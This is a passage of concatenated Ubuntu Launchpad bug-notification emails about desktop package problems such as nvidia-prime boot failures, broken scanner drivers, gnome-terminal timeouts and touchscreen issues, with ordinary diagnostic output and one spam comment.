nvidia-prime-boot.service: Main process exited, code=exited, status=2/INVALIDARGUMENT apr 14 11:56:33 Precision-7510 systemd[1]: nvidia-prime-boot.service: Failed with result 'exit-code'. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nvidia-prime/+bug/1763978/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1763978] Re: nvidia-prime-boot.service: Main process exited, code=exited, status=2/INVALIDARGUMENT
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: nvidia-prime (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nvidia-prime in Ubuntu. https://bugs.launchpad.net/bugs/1763978 Title: nvidia-prime-boot.service: Main process exited, code=exited, status=2/INVALIDARGUMENT Status in nvidia-prime package in Ubuntu: Confirmed Bug description: Since this week (i believe April 9th) Nvidia-prime isn't working for me. Running: Distributor ID: Ubuntu Description: Ubuntu Bionic Beaver (development branch) Release: 18.04 Codename: bionic Nvidia-prime version: Nvidia-prime version: Installed: 0.8.7 Candidate: 0.8.7 Version table: *** 0.8.7 500 Error code: apr 14 11:56:33 Precision-7510 systemd[1]: nvidia-prime-boot.service: Main process exited, code=exited, status=2/INVALIDARGUMENT apr 14 11:56:33 Precision-7510 systemd[1]: nvidia-prime-boot.service: Failed with result 'exit-code'. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nvidia-prime/+bug/1763978/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1728012] Re: Many 3rd party scanner drivers are broken by a sane change
The USB3 issue should be resolved in the linux kernel bionic uses, see the following thread: https://www.spinics.net/lists/linux- usb/msg125193.html -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to sane-backends in Ubuntu. https://bugs.launchpad.net/bugs/1728012 Title: Many 3rd party scanner drivers are broken by a sane change Status in sane-backends package in Ubuntu: Confirmed Bug description: Many scanners can no more be used since sane has changed something: The 3rd-party plug-in the vendor provides as .deb package will still install. But the scanner is no more recognized. Scanners that are affected are(besides others): - Epson Perfection V10 - Epson Perfection V1000 - Epson WorkForce GT-1500 - Brother MFC-8510DN - Epson Perfection V33 It is to note that the probability that the scanner manufacturers fix things others broke is below 100%. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: libsane1 1.0.27-1~experimental2ubuntu2 Uname: Linux 4.14.0-041400rc5-lowlatency x86_64 ApportVersion: 2.20.7-0ubuntu3.1 Architecture: amd64 Date: Fri Oct 27 12:35:52 2017 EcryptfsInUse: Yes SourcePackage: sane-backends UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/sane-backends/+bug/1728012/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1765556] Re: nvidia-prime needs a reboot to switch between dGPU/hGPU
Update regarding 17.10 - After switching from GDM to lightDM, logout and login are enough, no reboot required. With GDM, logout and sudo systemctl restart display-manager was also enough and didn't require a full reboot. This is for nvidia-prime 0.8.5, kernel 4.13.0-41-generic and 390.59-0ubuntu0~gpu17.10.1 - but for 0.8.8 on Bionic Beaver (also 390 drivers) a reboot was required even with lightDM instead of GDM, and restarting the display-manager wasn't enough as well.. So I'd say it's a regression in 0.8.8, wouldn't 0.8.5 work with the latest drivers and kernels? It could be a workaround for now to revert back to 0.8.5 for Bionic Beaver. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nvidia-prime in Ubuntu. https://bugs.launchpad.net/bugs/1765556 Title: nvidia-prime needs a reboot to switch between dGPU/hGPU Status in nvidia-prime package in Ubuntu: Confirmed Bug description: I previously used Ubuntu 16.04 and Nvidia 375 driver with a Nvidia Geforce 635M and Sandy Bridge i7. To switch between the 2 Optimus cards (Intel hybrid and Nvidia discrete), one had to go into nvidia- settings, switch, logoff, login back, and the change was applied. I now have a Nvidia Quadro M2000 and a Skylake Xeon which has some Sync/Mux feature (whatever does that mean) with the Nvidia 390 driver. First of all, installing nivida-prime doesn't install bbswitch-dkms. Then, once the GPU switch is made, it triggers update-initramfs, recompile the kernel modules, and one needs to reboot the system to get the GPU change. Even when we install bbswitch-dkms. So am I getting a wrong impression or is there something twisted here ? ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: nvidia-prime 0.8.7 ProcVersionSignature: Ubuntu 4.15.0-15.16-generic 4.15.15 Uname: Linux 4.15.0-15-generic x86_64 ApportVersion: 2.20.9-0ubuntu4 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Thu Apr 19 19:20:01 2018 Dependencies: InstallationDate: Installed on 2018-04-08 (11 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180408) PackageArchitecture: all SourcePackage: nvidia-prime UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nvidia-prime/+bug/1765556/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772259] Re: gnome-terminal won't start
I mean, when I logout and login I can start gnome-terminal again, but
this error happened to me at least twice already and I don't think
logging out and logging in is a solution as it would close my session
when I'm doing something. Again: Thanks for your help.
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-terminal in Ubuntu.
https://bugs.launchpad.net/bugs/1772259
Title:
gnome-terminal won't start
Status in gnome-terminal package in Ubuntu:
New
Bug description:
On Ubuntu 18.04 gnome-terminal doesn't start after leaving the
computer on for a while (or maybe after sleep). strace inside xterm
reveals this:
stat("/usr/share/locale-langpack/en_PH/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en/LC_MESSAGES/messages.mo", 0x7fffe6d50960) = -1
ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en/LC_MESSAGES/messages.mo", 0x7fffe6d50960)
= -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en_US.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en_US.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en_US/LC_MESSAGES/messages.mo", 0x7fffe6d50960) = -1
ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en_US/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
pipe2([5, 6], O_CLOEXEC)= 0
clone(child_stack=NULL,
flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD,
child_tidptr=0x7fd74a996a10) = 10042
close(6)= 0
read(5, "", 5) = 0
close(5)= 0
wait4(10042, # Error creating terminal: Timeout was reached
[{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 10042
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=10042, si_uid=1000,
si_status=0, si_utime=4, si_stime=0} ---
rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER,
sa_restorer=0x7fd74a5c0890}, {sa_handler=0x7fd74814a880, sa_mask=[],
sa_flags=SA_RESTORER|SA_RESTART|SA_NOCLDSTOP, sa_restorer=0x7fd74a5c0890}, 8) = 0
munmap(0x7fd74a7f4000, 135168) = 0
sigaltstack(NULL, {ss_sp=0x15d3b80, ss_flags=0, ss_size=8192}) = 0
sigaltstack({ss_sp=NULL, ss_flags=SS_DISABLE, ss_size=0}, NULL) = 0
futex(0x7fd748ffb82c, FUTEX_WAKE_PRIVATE, 2147483647) = 0
exit_group(0) = ?
+++ exited with 0 +++
Thanks for your help.
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: gnome-terminal 3.28.1-1ubuntu1
ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
Uname: Linux 4.15.0-20-generic x86_64
ApportVersion: 2.20.9-0ubuntu7
Architecture: amd64
CurrentDesktop: GNOME
Date: Sun May 20 21:00:23 2018
EcryptfsInUse: Yes
InstallationDate: Installed on 2015-09-28 (964 days ago)
InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422)
SourcePackage: gnome-terminal
UpgradeStatus: No upgrade log present (probably fresh install)
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-terminal/+bug/1772259/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772259] Re: gnome-terminal won't start
Logging out and logging in fixes the problem.
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-terminal in Ubuntu.
https://bugs.launchpad.net/bugs/1772259
Title:
gnome-terminal won't start
Status in gnome-terminal package in Ubuntu:
New
Bug description:
On Ubuntu 18.04 gnome-terminal doesn't start after leaving the
computer on for a while (or maybe after sleep). strace inside xterm
reveals this:
stat("/usr/share/locale-langpack/en_PH/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en/LC_MESSAGES/messages.mo", 0x7fffe6d50960) = -1
ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en/LC_MESSAGES/messages.mo", 0x7fffe6d50960)
= -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en_US.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en_US.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en_US/LC_MESSAGES/messages.mo", 0x7fffe6d50960) = -1
ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en_US/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
pipe2([5, 6], O_CLOEXEC)= 0
clone(child_stack=NULL,
flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD,
child_tidptr=0x7fd74a996a10) = 10042
close(6)= 0
read(5, "", 5) = 0
close(5)= 0
wait4(10042, # Error creating terminal: Timeout was reached
[{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 10042
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=10042, si_uid=1000,
si_status=0, si_utime=4, si_stime=0} ---
rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER,
sa_restorer=0x7fd74a5c0890}, {sa_handler=0x7fd74814a880, sa_mask=[],
sa_flags=SA_RESTORER|SA_RESTART|SA_NOCLDSTOP, sa_restorer=0x7fd74a5c0890}, 8) = 0
munmap(0x7fd74a7f4000, 135168) = 0
sigaltstack(NULL, {ss_sp=0x15d3b80, ss_flags=0, ss_size=8192}) = 0
sigaltstack({ss_sp=NULL, ss_flags=SS_DISABLE, ss_size=0}, NULL) = 0
futex(0x7fd748ffb82c, FUTEX_WAKE_PRIVATE, 2147483647) = 0
exit_group(0) = ?
+++ exited with 0 +++
Thanks for your help.
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: gnome-terminal 3.28.1-1ubuntu1
ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
Uname: Linux 4.15.0-20-generic x86_64
ApportVersion: 2.20.9-0ubuntu7
Architecture: amd64
CurrentDesktop: GNOME
Date: Sun May 20 21:00:23 2018
EcryptfsInUse: Yes
InstallationDate: Installed on 2015-09-28 (964 days ago)
InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422)
SourcePackage: gnome-terminal
UpgradeStatus: No upgrade log present (probably fresh install)
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-terminal/+bug/1772259/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772259] [NEW] gnome-terminal won't start
Public bug reported:
On Ubuntu 18.04 gnome-terminal doesn't start after leaving the computer
on for a while (or maybe after sleep). strace inside xterm reveals
this:
stat("/usr/share/locale-langpack/en_PH/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en.ISO8859-1/LC_MESSAGES/messages.mo", 0x7fffe6d50960)
= -1 ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en/LC_MESSAGES/messages.mo", 0x7fffe6d50960) = -1
ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en/LC_MESSAGES/messages.mo", 0x7fffe6d50960) =
-1 ENOENT (No such file or directory)
stat("/usr/share/locale/en_US.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en_US.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en_US/LC_MESSAGES/messages.mo", 0x7fffe6d50960) = -1
ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en_US/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
pipe2([5, 6], O_CLOEXEC)= 0
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD,
child_tidptr=0x7fd74a996a10) = 10042
close(6)= 0
read(5, "", 5) = 0
close(5)= 0
wait4(10042, # Error creating terminal: Timeout was reached
[{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 10042
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=10042, si_uid=1000,
si_status=0, si_utime=4, si_stime=0} ---
rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER,
sa_restorer=0x7fd74a5c0890}, {sa_handler=0x7fd74814a880, sa_mask=[],
sa_flags=SA_RESTORER|SA_RESTART|SA_NOCLDSTOP, sa_restorer=0x7fd74a5c0890}, 8) = 0
munmap(0x7fd74a7f4000, 135168) = 0
sigaltstack(NULL, {ss_sp=0x15d3b80, ss_flags=0, ss_size=8192}) = 0
sigaltstack({ss_sp=NULL, ss_flags=SS_DISABLE, ss_size=0}, NULL) = 0
futex(0x7fd748ffb82c, FUTEX_WAKE_PRIVATE, 2147483647) = 0
exit_group(0) = ?
+++ exited with 0 +++
Thanks for your help.
ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: gnome-terminal 3.28.1-1ubuntu1
ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
Uname: Linux 4.15.0-20-generic x86_64
ApportVersion: 2.20.9-0ubuntu7
Architecture: amd64
CurrentDesktop: GNOME
Date: Sun May 20 21:00:23 2018
EcryptfsInUse: Yes
InstallationDate: Installed on 2015-09-28 (964 days ago)
InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422)
SourcePackage: gnome-terminal
UpgradeStatus: No upgrade log present (probably fresh install)
** Affects: gnome-terminal (Ubuntu)
Importance: Undecided
Status: New
** Tags: amd64 apport-bug bionic third-party-packages
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-terminal in Ubuntu.
https://bugs.launchpad.net/bugs/1772259
Title:
gnome-terminal won't start
Status in gnome-terminal package in Ubuntu:
New
Bug description:
On Ubuntu 18.04 gnome-terminal doesn't start after leaving the
computer on for a while (or maybe after sleep). strace inside xterm
reveals this:
stat("/usr/share/locale-langpack/en_PH/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en/LC_MESSAGES/messages.mo", 0x7fffe6d50960) = -1
ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en/LC_MESSAGES/messages.mo", 0x7fffe6d50960)
= -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en_US.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en_US.ISO8859-1/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
stat("/usr/share/locale/en_US/LC_MESSAGES/messages.mo", 0x7fffe6d50960) = -1
ENOENT (No such file or directory)
stat("/usr/share/locale-langpack/en_US/LC_MESSAGES/messages.mo",
0x7fffe6d50960) = -1 ENOENT (No such file or directory)
pipe2([5, 6], O_CLOEXEC)= 0
clone(child_stack=NULL,
flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD,
child_tidptr=0x7fd74a996a10) = 10042
close(6)= 0
read(5, "", 5) = 0
close(5)= 0
wait4(10042, # Error creating terminal: Timeout was reached
[{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 10042
--- SIGCHLD {s
[Desktop-packages] [Bug 1768169] Re: touchscreen doesn't work properly after stylus detection
oups sorry wrong place... -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xinput in Ubuntu. https://bugs.launchpad.net/bugs/1768169 Title: touchscreen doesn't work properly after stylus detection Status in xinput package in Ubuntu: New Bug description: I have a HP Pavilion x360 convertible 15 br0xx. This laptop has a multitouch touchscreen and an active pen/stylus. On ubuntu 16.04, the touchscreen used with fingers and the pen/stylus work properly. The touchscreen was identified as «ELAN0732:00 04F3:24B8» as slave pointer and the pen as «ELAN0732:00 04F3:24B8 Pen» as slave pointer too. But, on ubuntu 18.04 bionic with gnome shell, the pen/stylus is identified «ELAN0732:00 04F3:24B8 Pen» as slave keyboard instead as slave pointer. Touchscreen work well until pen/stylus is used. At this point, a new device «ELAN0732:00 04F3:24B8 Pen Pen (0)» is enabled. The touchscreen stops working and the pen/styles works but with some issues. ~$ xinput --list ⎡ Virtual core pointerid=2[master pointer (3)] ⎜ ↳ Virtual core XTEST pointer id=4[slave pointer (2)] ⎜ ↳ ETPS/2 Elantech Touchpadid=15 [slave pointer (2)] ⎜ ↳ ELAN0732:00 04F3:24B8 id=10 [slave pointer (2)] ⎜ ↳ ELAN0732:00 04F3:24B8 Pen Pen (0) id=18 [slave pointer (2)] ⎣ Virtual core keyboard id=3[master keyboard (2)] ↳ Virtual core XTEST keyboard id=5[slave keyboard (3)] ↳ Power Buttonid=6[slave keyboard (3)] ↳ Video Bus id=7[slave keyboard (3)] ↳ Power Buttonid=8[slave keyboard (3)] ↳ HP Wide Vision HD Camera: HP Wi id=9[slave keyboard (3)] ↳ Intel Virtual Button driver id=12 [slave keyboard (3)] ↳ Intel Virtual Button driver id=13 [slave keyboard (3)] ↳ AT Translated Set 2 keyboardid=14 [slave keyboard (3)] ↳ HP WMI hotkeys id=16 [slave keyboard (3)] ↳ HP Wireless hotkeys id=17 [slave keyboard (3)] ↳ ELAN0732:00 04F3:24B8 Pen id=11 [slave keyboard (3)] After disable devices id=11 and id=18, touchscreen recovers its multitouch feature. There is no combination enabling/disabling ids 10, 11 and 18, to get multitouch and pen working together. On Wayland session, I get the same behavior. Note: Ubuntu 18.04 LTS clean installation with «minimal install option» and no other customization. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xinput/+bug/1768169/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1768169] Re: touchscreen doesn't work properly after stylus detection
By disabling the Gesture parameter for my touchscreen multitouch is working. But no more pinch to zoom or to finger to scroll ... no more Gestures ! Both should be able to work together. Should I open an issue ? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xinput in Ubuntu. https://bugs.launchpad.net/bugs/1768169 Title: touchscreen doesn't work properly after stylus detection Status in xinput package in Ubuntu: New Bug description: I have a HP Pavilion x360 convertible 15 br0xx. This laptop has a multitouch touchscreen and an active pen/stylus. On ubuntu 16.04, the touchscreen used with fingers and the pen/stylus work properly. The touchscreen was identified as «ELAN0732:00 04F3:24B8» as slave pointer and the pen as «ELAN0732:00 04F3:24B8 Pen» as slave pointer too. But, on ubuntu 18.04 bionic with gnome shell, the pen/stylus is identified «ELAN0732:00 04F3:24B8 Pen» as slave keyboard instead as slave pointer. Touchscreen work well until pen/stylus is used. At this point, a new device «ELAN0732:00 04F3:24B8 Pen Pen (0)» is enabled. The touchscreen stops working and the pen/styles works but with some issues. ~$ xinput --list ⎡ Virtual core pointerid=2[master pointer (3)] ⎜ ↳ Virtual core XTEST pointer id=4[slave pointer (2)] ⎜ ↳ ETPS/2 Elantech Touchpadid=15 [slave pointer (2)] ⎜ ↳ ELAN0732:00 04F3:24B8 id=10 [slave pointer (2)] ⎜ ↳ ELAN0732:00 04F3:24B8 Pen Pen (0) id=18 [slave pointer (2)] ⎣ Virtual core keyboard id=3[master keyboard (2)] ↳ Virtual core XTEST keyboard id=5[slave keyboard (3)] ↳ Power Buttonid=6[slave keyboard (3)] ↳ Video Bus id=7[slave keyboard (3)] ↳ Power Buttonid=8[slave keyboard (3)] ↳ HP Wide Vision HD Camera: HP Wi id=9[slave keyboard (3)] ↳ Intel Virtual Button driver id=12 [slave keyboard (3)] ↳ Intel Virtual Button driver id=13 [slave keyboard (3)] ↳ AT Translated Set 2 keyboardid=14 [slave keyboard (3)] ↳ HP WMI hotkeys id=16 [slave keyboard (3)] ↳ HP Wireless hotkeys id=17 [slave keyboard (3)] ↳ ELAN0732:00 04F3:24B8 Pen id=11 [slave keyboard (3)] After disable devices id=11 and id=18, touchscreen recovers its multitouch feature. There is no combination enabling/disabling ids 10, 11 and 18, to get multitouch and pen working together. On Wayland session, I get the same behavior. Note: Ubuntu 18.04 LTS clean installation with «minimal install option» and no other customization. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xinput/+bug/1768169/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 406300]
http://friend.leggingsnation.com Mary Wright -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to pidgin in Ubuntu. https://bugs.launchpad.net/bugs/406300 Title: i cannot log in messenger with pidgin,please help me? Status in pidgin package in Ubuntu: Opinion Bug description: Binary package hint: pidgin i cannot log in messenger with pidgin,please help me? ProblemType: Bug Architecture: i386 DistroRelease: Ubuntu 9.04 ExecutablePath: /usr/bin/pidgin Package: pidgin 1:2.5.5-1ubuntu8.3 ProcEnviron: LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: pidgin Uname: Linux 2.6.28-13-generic i686 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pidgin/+bug/406300/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1728012] Re: Many 3rd party scanner drivers are broken by a sane change
https://forums.opensuse.org/showthread.php/507627-Suse-13-2-scanner-no- longer-working-on-64-bit- version/page2?s=ac5dc860f0f94d47d233f69afdbfc346 has similar debug results to my prior comment. It was resolved by using a USB2 port instead of a USB3 port. Maybe this is another piece of the puzzle as I had to use an earlier version of libusb and my MB is recent with mainly USB3 - will try changing bios on another day -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to sane-backends in Ubuntu. https://bugs.launchpad.net/bugs/1728012 Title: Many 3rd party scanner drivers are broken by a sane change Status in sane-backends package in Ubuntu: Confirmed Bug description: Many scanners can no more be used since sane has changed something: The 3rd-party plug-in the vendor provides as .deb package will still install. But the scanner is no more recognized. Scanners that are affected are(besides others): - Epson Perfection V10 - Epson Perfection V1000 - Epson WorkForce GT-1500 - Brother MFC-8510DN - Epson Perfection V33 It is to note that the probability that the scanner manufacturers fix things others broke is below 100%. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: libsane1 1.0.27-1~experimental2ubuntu2 Uname: Linux 4.14.0-041400rc5-lowlatency x86_64 ApportVersion: 2.20.7-0ubuntu3.1 Architecture: amd64 Date: Fri Oct 27 12:35:52 2017 EcryptfsInUse: Yes SourcePackage: sane-backends UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/sane-backends/+bug/1728012/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1761549] Re: [HP ENVY Notebook - 15-ae008tx] Screen flickering after screen lock timeout
Anupam Datta, to advise, one may test for this in a live environment to see if this is reproducible. ** Summary changed: - Screen flickering, whenever went to lock, waking up creates problem. + [HP ENVY Notebook - 15-ae008tx] Screen flickering after screen lock timeout ** Tags added: bios-outdated-f.49 ** Tags added: regression-release -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1761549 Title: [HP ENVY Notebook - 15-ae008tx] Screen flickering after screen lock timeout Status in xorg package in Ubuntu: Incomplete Bug description: screen flickered after trying to unlock. The display got off after the lock timeout. and then whenever tried to unlock, screen would not wake up after mouse hover. only pressing enter works that too takes time. also need to type multiple time. It happen when the screen goes off without lock and need to on the screen. This time the screen flickering occurred and I had to force shutdown. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: xorg 1:7.7+19ubuntu3 ProcVersionSignature: Ubuntu 4.13.0-38.43-generic 4.13.16 Uname: Linux 4.13.0-38-generic x86_64 ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Apr 5 23:21:05 2018 DistUpgraded: Fresh install DistroCodename: artful DistroVariant: ubuntu ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Intel Corporation HD Graphics 5500 [8086:1616] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company HD Graphics 5500 [103c:80dd] Subsystem: Hewlett-Packard Company GM107M [GeForce GTX 950M] [103c:80dd] Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 004: ID 04f2:b50c Chicony Electronics Co., Ltd Bus 001 Device 003: ID 8087:07dc Intel Corp. Bus 001 Device 002: ID 04ca:0061 Lite-On Technology Corp. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: Hewlett-Packard HP ENVY Notebook ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.13.0-38-generic.efi.signed root=UUID=66e83990-fa59-45e7-b14e-2c0ec6e2d46c ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 05/23/2017 dmi.bios.vendor: Insyde dmi.bios.version: F.45 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 80DD dmi.board.vendor: Hewlett-Packard dmi.board.version: 64.39 dmi.chassis.asset.tag: Chassis Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: Hewlett-Packard dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.45:bd05/23/2017:svnHewlett-Packard:pnHPENVYNotebook:pvrType1ProductConfigId:rvnHewlett-Packard:rn80DD:rvr64.39:cvnHewlett-Packard:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV G=N L=CON B=HP S=ENV dmi.product.name: HP ENVY Notebook dmi.product.version: Type1ProductConfigId dmi.sys.vendor: Hewlett-Packard version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.83-1 version.libgl1-mesa-dri: libgl1-mesa-dri 17.2.8-0ubuntu0~17.10.1 version.libgl1-mesa-glx: libgl1-mesa-glx 17.2.8-0ubuntu0~17.10.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.5-0ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: 